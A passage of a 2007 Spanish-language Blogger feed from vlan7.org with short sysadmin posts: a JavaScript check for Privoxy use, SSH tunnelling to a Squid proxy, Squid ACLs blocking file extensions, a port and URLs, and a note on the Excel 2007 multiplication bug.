jscript"&gt;&amp;lt;script&amp;gt;&lt;br /&gt;var em = document.getElementById("privoxy");&lt;br /&gt;var color = document.defaultView.getComputedStyle(em,null).getPropertyValue("color");        &lt;br /&gt;if (color == "rgb(255, 0, 0)") {            &lt;br /&gt;alert("Estas usando Privoxy");&lt;br /&gt;} else {&lt;br /&gt;alert("No estas usando Privoxy");&lt;br /&gt;} &lt;br /&gt;&amp;lt;/script&amp;gt;&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/23164839-5115277605638374368?l=www.vlan7.org' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=23164839&amp;postID=5115277605638374368' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/23164839/posts/default/5115277605638374368'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/23164839/posts/default/5115277605638374368'/><link rel='alternate' type='text/html' href='http://www.vlan7.org/2007/10/javascript-para-detectar-el-uso-de.html' title='Javascript para detectar el uso de Privoxy'/><author><name>vlan7</name><uri>http://www.blogger.com/profile/03145176222342450897</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='30' src='http://1.bp.blogspot.com/-myv0YT79L5g/TyKKCgjuxkI/AAAAAAAAAQM/uA-auKPQ8kY/s220/blabla.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-23164839.post-1561448421927415662</id><published>2007-10-01T12:48:00.003+02:00</published><updated>2010-08-15T12:35:48.207+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='ssh'/><category scheme='http://www.blogger.com/atom/ns#' term='squid'/><category scheme='http://www.blogger.com/atom/ns#' term='privacy'/><title type='text'>Navegacion segura con Squid y SSH</title><content type='html'>En &lt;b&gt;UNIX&lt;/b&gt;:&lt;br /&gt;&lt;pre class="brush: bash"&gt;ssh -L 3128:127.0.0.1:3128 SSH_Server -f -N&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;En &lt;b&gt;Windows&lt;/b&gt;:&lt;br /&gt;&lt;br /&gt;Bajamos &lt;b&gt;&lt;a href="http://www.chiark.greenend.org.uk/~sgtatham/putty/download.html"&gt;Plink&lt;/a&gt;&lt;/b&gt;, que es una version en linea de comandos del cliente SSH Putty.&lt;br /&gt;&lt;pre class="brush: plain"&gt;plink.exe -batch -N -l UserName -pw Password -L 3128:127.0.0.1:3128 SSH_Server&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;Y ya solo nos queda configurar nuestro navegador para que use el tunel SSH como proxy en la direccion IP &lt;b&gt;127.0.0.1&lt;/b&gt; y puerto &lt;b&gt;3128&lt;/b&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/23164839-1561448421927415662?l=www.vlan7.org' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=23164839&amp;postID=1561448421927415662' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/23164839/posts/default/1561448421927415662'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/23164839/posts/default/1561448421927415662'/><link rel='alternate' type='text/html' href='http://www.vlan7.org/2007/10/navegacion-segura-con-squid-y-ssh.html' title='Navegacion segura con Squid y SSH'/><author><name>vlan7</name><uri>http://www.blogger.com/profile/03145176222342450897</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='30' src='http://1.bp.blogspot.com/-myv0YT79L5g/TyKKCgjuxkI/AAAAAAAAAQM/uA-auKPQ8kY/s220/blabla.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-23164839.post-7947186530984182096</id><published>2007-10-01T12:33:00.002+02:00</published><updated>2010-08-15T12:37:35.957+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='squid'/><title type='text'>Squid: Bloquear determinadas extensiones</title><content type='html'>Si no queremos que los usuarios se bajen por ejemplo archivos con extension &lt;b&gt;mp3&lt;/b&gt;, &lt;b&gt;avi&lt;/b&gt;, &lt;b&gt;mpg&lt;/b&gt; y &lt;b&gt;mpeg&lt;/b&gt;, crearemos un archivo con estas extensiones, que residira por ejemplo en &lt;b&gt;/etc/squid/blocks.files.acl&lt;/b&gt; y que contendra lo siguiente:&lt;br /&gt;&lt;pre class="brush: plain"&gt;\.[Mm][Pp]3$&lt;br /&gt;\.[Aa][Vv][Ii]$&lt;br /&gt;\.[Mm][Pp][Gg]$&lt;br /&gt;\.[Mm][Pp][Ee][Gg]$&lt;/pre&gt;&lt;br /&gt;Luego crearemos un archivo HTML que contendra el error que le mostraremos al usuario cuando intente bajarse alguna de estas extensiones, por ejemplo en &lt;b&gt;/etc/squid/error/err_blocked_files&lt;/b&gt;&lt;br /&gt;&lt;pre class="brush: plain"&gt;&amp;lt;HTML&amp;gt;&lt;br /&gt;&amp;lt;HEAD&amp;gt;&lt;br /&gt;&amp;lt;TITLE&amp;gt;ERROR: Archivo bloqueado&amp;lt;/TITLE&amp;gt;&lt;br /&gt;&amp;lt;/HEAD&amp;gt;&lt;br /&gt;&amp;lt;BODY&amp;gt;&lt;br /&gt;&amp;lt;H1&amp;gt;El archivo ha sido bloqueado debido a la nueva politica de seguridad&amp;lt;/H1&amp;gt;&lt;br /&gt;&amp;lt;p&amp;gt;Si cree que necesita este archivo contacte con el administrador:&amp;lt;/p&gt;&lt;br /&gt;Telf: 777777 (ext 7)&amp;lt;br&amp;gt;&lt;br /&gt;Email: vlan7@midominio.com&lt;/pre&gt;&lt;br /&gt;Es importante no cerrar el codigo HTML con las etiquetas de cierre &amp;lt;/BODY&amp;gt; y &amp;lt;/HTML&amp;gt;, pues Squid ya se encarga de cerrarlas.&lt;br /&gt;&lt;br /&gt;Ahora nos queda el paso final, y es editar el archivo de configuracion de Squid en &lt;b&gt;/etc/squid/squid.conf&lt;/b&gt;&lt;br /&gt;&lt;pre class="brush: plain"&gt;#Denegar extensiones bloqueadas&lt;br /&gt;deny_info err_blocked_files blockfiles&lt;br /&gt;http_access deny blockfiles&lt;br /&gt;#ultima linea&lt;br /&gt;http_access allow all&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/23164839-7947186530984182096?l=www.vlan7.org' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=23164839&amp;postID=7947186530984182096' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/23164839/posts/default/7947186530984182096'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/23164839/posts/default/7947186530984182096'/><link rel='alternate' type='text/html' href='http://www.vlan7.org/2007/10/squid-bloquear-determinadas-extensiones.html' title='Squid: Bloquear determinadas extensiones'/><author><name>vlan7</name><uri>http://www.blogger.com/profile/03145176222342450897</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='30' src='http://1.bp.blogspot.com/-myv0YT79L5g/TyKKCgjuxkI/AAAAAAAAAQM/uA-auKPQ8kY/s220/blabla.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-23164839.post-4990457867716502404</id><published>2007-10-01T12:27:00.002+02:00</published><updated>2010-08-15T12:39:17.339+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='squid'/><title type='text'>Squid: Bloquear un puerto</title><content type='html'>Supongamos que quieres bloquear el puerto del MSN messenger. Edita el archivo de configuracion de Squid &lt;b&gt;/etc/squid/squid.conf&lt;/b&gt;&lt;br /&gt;&lt;pre class="brush: plain"&gt;acl block_port port 1863&lt;br /&gt;http_access deny block_port&lt;br /&gt;#ultima linea&lt;br /&gt;http_access allow all&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;Si por ejemplo no quieres que se aplique esta restriccion a ti, suponiendo que tu IP sea &lt;b&gt;192.168.1.7&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;pre class="brush: plain"&gt;acl block_port port 1863&lt;br /&gt;acl no_block_port_ip src 192.168.1.7&lt;br /&gt;http_access deny block_port !no_block_port_ip&lt;br /&gt;http_access allow all&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;Una vez cambiada la configuracion reiniciaremos Squid:&lt;br /&gt;&lt;br /&gt;&lt;pre class="brush: bash"&gt;/etc/init.d/squid restart&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/23164839-4990457867716502404?l=www.vlan7.org' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=23164839&amp;postID=4990457867716502404' title='4 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/23164839/posts/default/4990457867716502404'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/23164839/posts/default/4990457867716502404'/><link rel='alternate' type='text/html' href='http://www.vlan7.org/2007/10/squid-bloquear-un-puerto.html' title='Squid: Bloquear un puerto'/><author><name>vlan7</name><uri>http://www.blogger.com/profile/03145176222342450897</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='30' src='http://1.bp.blogspot.com/-myv0YT79L5g/TyKKCgjuxkI/AAAAAAAAAQM/uA-auKPQ8kY/s220/blabla.png'/></author><thr:total>4</thr:total></entry><entry><id>tag:blogger.com,1999:blog-23164839.post-6933005480274218399</id><published>2007-10-01T12:21:00.002+02:00</published><updated>2010-08-15T12:40:50.634+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='squid'/><title type='text'>Squid: Bloquear URLs</title><content type='html'>Si por ejemplo quieres bloquear todas las URLs del dominio &lt;b&gt;blogspot.com&lt;/b&gt;, editar el archivo &lt;b&gt;/etc/squid/squid.conf&lt;/b&gt; y añadir en &lt;b&gt;Access Controls&lt;/b&gt; la siguiente ACL:&lt;br /&gt;&lt;pre class="brush: plain"&gt;acl blocksites dstdomain .blogspot.com&lt;br /&gt;http_access deny blocksites&lt;br /&gt;#ultima linea&lt;br /&gt;http_access allow all&lt;/pre&gt;&lt;br /&gt;Si lo que quieres es bloquear todas las URLs que contengan la palabra &lt;b&gt;sex&lt;/b&gt; [maldito censurador!]:&lt;br /&gt;&lt;pre class="brush: plain"&gt;acl blockregexurl url_regex -i sex&lt;br /&gt;http_access deny blockregexurl&lt;br /&gt;#ultima linea&lt;br /&gt;http_access allow all&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;Despues reinicia squid:&lt;br /&gt;&lt;br /&gt;&lt;pre class="brush: bash"&gt;/etc/init.d/squid restart&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/23164839-6933005480274218399?l=www.vlan7.org' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=23164839&amp;postID=6933005480274218399' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/23164839/posts/default/6933005480274218399'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/23164839/posts/default/6933005480274218399'/><link rel='alternate' type='text/html' href='http://www.vlan7.org/2007/10/squid-bloquear-urls.html' title='Squid: Bloquear URLs'/><author><name>vlan7</name><uri>http://www.blogger.com/profile/03145176222342450897</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='30' src='http://1.bp.blogspot.com/-myv0YT79L5g/TyKKCgjuxkI/AAAAAAAAAQM/uA-auKPQ8kY/s220/blabla.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-23164839.post-8847544016930693988</id><published>2007-09-27T13:35:00.001+02:00</published><updated>2010-08-15T13:29:08.585+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='asm'/><title type='text'>Bug en Excel 2007</title><content type='html'>Excel 2007 no sabe multiplicar:&lt;br /&gt;&lt;br /&gt;&lt;img src="http://img108.imageshack.us/img108/8873/excel20072la2.jpg" alt="Excel no sabe multiplicar"&gt;&lt;br /&gt;&lt;br /&gt;El resultado correcto de todas las multiplicaciones deberia ser &lt;b&gt;65.535&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;Sin comentarios...&lt;br /&gt;&lt;br /&gt;Chris Lomont aclara absolutamente todo lo ocurrido &lt;a href="http://www.lomont.org/Math/Papers/2007/Excel2007/Excel2007Bug.pdf"&gt;&lt;b&gt;AQUI&lt;/b&gt;&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;En la pagina 15 viene la explicacion. El fallo se da cuando EAX contiene xFFFF. Ocurre porque cuando se produce desbordamiento en registro EBX, hay un incremento de EAX. El incremento en 16 bits (INC AX) no se comporta exactamente igual al incremento en 32 bits (INC EAX) y el resultado es un error en un salto posterior.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/23164839-8847544016930693988?l=www.vlan7.org' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=23164839&amp;postID=8847544016930693988' title='2 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/23164839/posts/default/8847544016930693988'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/23164839/posts/default/8847544016930693988'/><link rel='alternate' type='text/html' href='http://www.vlan7.org/2007/09/bug-en-excel-2007.html' title='Bug en Excel 2007'/><author><name>vlan7</name><uri>http://www.blogger.com/profile/03145176222342450897</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='30' src='http://1.bp.blogspot.com/-myv0YT79L5g/TyKKCgjuxkI/AAAAAAAAAQM/uA-auKPQ8kY/s220/blabla.png'/></author><thr:total>2</thr:total></entry></feed>
